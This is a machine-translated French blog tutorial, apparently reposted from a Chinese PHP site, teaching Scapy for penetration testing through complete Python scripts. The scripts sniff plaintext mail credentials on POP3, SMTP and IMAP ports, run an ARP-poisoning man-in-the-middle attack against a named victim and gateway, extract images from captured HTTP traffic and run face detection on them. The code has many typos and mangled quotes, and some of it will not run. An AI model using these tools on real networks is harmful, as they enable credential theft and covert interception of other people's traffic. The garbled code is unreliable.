Premiers pas avec les tests d'intrusion Python : comment utiliser la bibliothèque Scapy

Scapy est un module Python et un programme interactif utilisé pour analyser les paquets de données réseau sous-jacents. Ce programme emballe de manière abstraite le traitement des paquets sous-jacents, ce qui rend le traitement des paquets de données réseau très simple. Cette bibliothèque de classes peut avoir un très large éventail de cas d'utilisation dans le domaine de la sécurité des réseaux et peut être utilisée pour le développement de l'exploitation des vulnérabilités, les fuites de données, la surveillance du réseau, la détection des intrusions et l'analyse et la capture du trafic. Scapy est intégré à la visualisation de données et à la génération de rapports pour afficher facilement les résultats et les données.

Voler les identifiants d'identité de messagerie

Scapy fournit une fonction d'interface sniff avec un nom concis. Sa définition est la suivante :

sniff(filter = " ", iface = "any", prn = function, count = N)

Le paramètre filter vous permet de spécifier un filtre de paquets Berkeley (Berkeley Packet Filter, BPF), avec To filter. les paquets reniflés par Scapy, vous pouvez également laisser ce paramètre vide pour indiquer que tous les paquets doivent être reniflés. Le paramètre

iface est utilisé pour spécifier la carte réseau à détecter par le renifleur. S'il n'est pas défini, toutes les cartes réseau seront détectées par défaut. Le paramètre prn est utilisé pour spécifier une fonction de rappel Chaque fois qu'un paquet répondant aux conditions de filtrage est rencontré, le renifleur transmettra le paquet à cette fonction de rappel. C'est le seul paramètre accepté par cette fonction. Le paramètre count peut être utilisé pour spécifier le nombre de paquets que vous souhaitez renifler. S'il est laissé vide, Scapy continuera à renifler.

mail_sniffer.py:

from scapy.all import sniff

def packet_callback(packet):
    print(packet.show())

def main():
    sniff(pro=packet_callback, count=1)

if __name__ == '__main__':
    main()

Dans ce simple renifleur, il reniflera uniquement les commandes liées au protocole de boîte aux lettres.

Ensuite, nous ajouterons des filtres et des codes de fonction de rappel pour capturer les données liées à l'authentification du compte de messagerie de manière ciblée.

Tout d'abord, nous allons mettre en place un filtre de paquets pour garantir que le sniffer n'affiche que les paquets qui nous intéressent. Nous utiliserons la syntaxe BPF (également connue sous le nom de syntaxe de style Wireshark) pour écrire des filtres. Vous pouvez utiliser cette syntaxe dans des outils tels que tcpdump et Wireshark. Parlons d’abord de la syntaxe de base du BPF. Dans la syntaxe BPF, trois types d'informations peuvent être utilisés : les descripteurs (tels qu'une adresse d'hôte spécifique, le nom de la carte réseau ou le numéro de port), la direction du flux de données et le protocole de communication, comme le montre la figure. Vous êtes libre d'ajouter ou d'omettre certains types, directions ou protocoles en fonction des données que vous recherchez.

Écrivons d'abord un BPF :

from scapy.all import sniff, TCP, IP

#the packet callback
def packet_callback(packet):
    if packet[TCP].payload:
        mypacket = str(packet[TCP].paylaod)
        if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
            print(f"[*] Destination: {packet[IP].dst}")
            print(f"[*] {str(packet[TCP].payload)}")


def main():
    #fire up the sniffer
    sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',prn=packet_callback, store=0)
#监听邮件协议常用端口
#新参数store，把它设为0以后，Scapy就不会将任何数据包保留在内存里

if __name__ == '__main__':
    main()

Attaque d'empoisonnement ARP

Logique : tromper l'appareil cible en lui faisant croire que nous sommes sa passerelle, puis tromper la passerelle et lui dire que tout le trafic doit être envoyé vers l'appareil cible ; Il faut nous laisser le soin de le transmettre. Chaque appareil du réseau maintient un cache ARP, qui enregistre la correspondance entre les adresses MAC et les adresses IP sur le réseau local au cours de la période récente. Pour mettre en œuvre cette attaque, nous allons empoisonner ces caches ARP, c'est-à-dire insérer nos enregistrements fabriqués dans le cache.

Notez que la machine cible de l'expérience est mac

arper.py :

from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import time

def get_mac(targetip):
    packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
    resp, _= srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None
    
class Arper:
    def __init__(self, victim, gateway, interface='en0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0

        print(f'Initialized {interface}:')
        print(f'Gateway ({gateway}) is at {self.gateway}')
        print(f'Victim ({victim}) is at {self.gatewaymac}')
        print('_'*30)
    
    def run(self):
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()

        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()

    def poison(self):
        poison_victim = ARP()
        poison_victim.op = 2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac dst: {poison_victim.hwdst}')
        print(f'mac src: {poison_victim.hwsrc}')
        print(poison_victim.summary())
        print('_'*30)
        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self,victim 
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac

        print(f'ip src: {poison_gateway.psrc}')
        print(f'ip dst: {poison_gateway.pdst}')
        print(f'mac dst: {poison_gateway.hwdst}')
        print(f'mac_src: {poison_gateway.hwsrc}')
        print(poison_gateway.summary())
        print('_'*30)
        print(f'Beginning the ARP poison. [CTRL -C to stop]')
        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            else:
                time.sleep(2)


    def sniff(self, count=200):
        time.sleep(5)
        print(f'Sniffing {count} packets')
        bpf_filter = "ip host %s" % victim
        packets = sniff(count=count, filter=bpf_filter, ifcae=self.interface)
        wrpcap('arper.pcap', packets)
        print('Got the packets')
        self.restore()
        self.poison_thread.terminate()
        print('Finished')

    def restore(self):
        print('Restoring ARP tables...')
        send(ARP(
            op=2,
            psrc=self.gateway,
            hwsrc=self.gatewaymac,
            pdst=self.victim,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
        send(ARP(
            op=2,
            psrc=self.victim,
            hwsrc=self.victimmac,
            pdst=self.gateway,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
                

if __name__ == '__main__':
    (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
    myarp = Arper(victim, gateway, interface)
    myarp.run()

Traitement du fichier pcap

recapper.py :

from scapy.all import TCP, rdpcap
import collections
import os
import re
import sys
import zlib

OUTDIR = '/root/Desktop/pictures'
PCAPS = '/root/Downloads'

Response = collections.namedtuple('Response', ['header','payload'])

def get_header(payload):
    try:
        header_raw = payload[:payload.index(b'\r\n\r\n')+2]
    except ValueError:
        sys.stdout.write('_')
        sys.stdout.flush()
        return None
    
    header = dict(re.findall(r&#39;?P<name>.*?): (?P<value>.*?)\r\n&#39;, header_raw.decode()))
    if &#39;Content-Type&#39; not in header:
        return None
    return header

def extract_content(Response, content_name=&#39;image&#39;):
    content, content_type = None, None
    if content_name in Response.header[&#39;Content-Type&#39;]:
        content_type = Response.header[&#39;Content-Type&#39;].split(&#39;/&#39;)[1]
        content = Response.payload[Response.payload.index(b&#39;\r\n\r\n&#39;)+4:]

        if &#39;Content-Encoding&#39; in Response.header:
            if Response.header[&#39;Content-Encoding&#39;] == "gzip":
                content = zlib.decompress(Response.payload, zlib.MAX_wbits | 32)
            elif Response.header[&#39;Content-Encoding&#39;] == "deflate":
                content = zlib.decompress(Response.payload) 
    
    return content, content_type

class Recapper:
    def __init__(self, fname):
        pcap = rdpcap(fname)
        self.session = pcap.session()
        self.responses = list()

    def get_responses(self):
        for session in self.session:
            payload = b&#39;&#39;
            for packet in self.session[session]:
                try:
                    if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                        payload += bytes(packet[TCP].payload)
                except IndexError:
                    sys.stdout.write(&#39;x&#39;)
                    sys.stdout.flush()
        
            if payload:
                header = get_header(payload)
                if header is None:
                    continue
            self.responses.append(Response(header=header, payload=payload))
    def write(self, content_name):
        for i, response in enumerate(self.responses):
            content, content_type = extract_content(response, content_name)
            if content and content_type:
                fname = os.path.join(OUTDIR, f&#39;ex_{i}.{content_type}&#39;)
                print(f&#39;Writing {fname}&#39;)
                with open(fname, &#39;wb&#39;) as f:
                    f.write(content)

if __name__ == &#39;__main__&#39;:
    pfile = os.path.join(PCAPS, &#39;pcap.pcap&#39;)
    recapper = Recapper(pfile)
    recapper.get_responses()
    recapper.write(&#39;image&#39;)

Si nous obtenons une image, nous devons alors analyser et vérifier l'image. Chaque image est utilisé pour confirmer s'il y a un visage dedans. Pour chaque image contenant un visage, nous dessinons un cadre autour du visage et l'enregistrons en tant que nouvelle image.

detector.py :

import cv2
import os

ROOT = '/root/Desktop/pictures'
FACES = '/root/Desktop/faces'
TRAIN = '/root/Desktop/training'

def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN):
    for fname in os.listdir(srcdir):
        if not fname.upper().endswith('.JPG'):
            continue
        fullname = os.path.join(srcdir, fname)

        newname = os.path.join(tgtdir, fname)
        img = cv2.imread(fullname)
        if img is None:
            continue

        gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
        training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml')
        cascade = cv2.CascadeClassifier(training)
        rects = cascade.detectMultiScale(gray, 1.3,5)
        try:
            if rects.any():
                print('Got a face')
                rects[:, 2:] += rects[:, :2]
        except AttributeError:
            print(f'No faces fount in {fname}')
            continue

        # highlight the faces in the image
        for x1, y1, x2, y2 in rects:
            cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
        cv2.imwrite(newname, img)

if name == '__main__':
    detect()

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!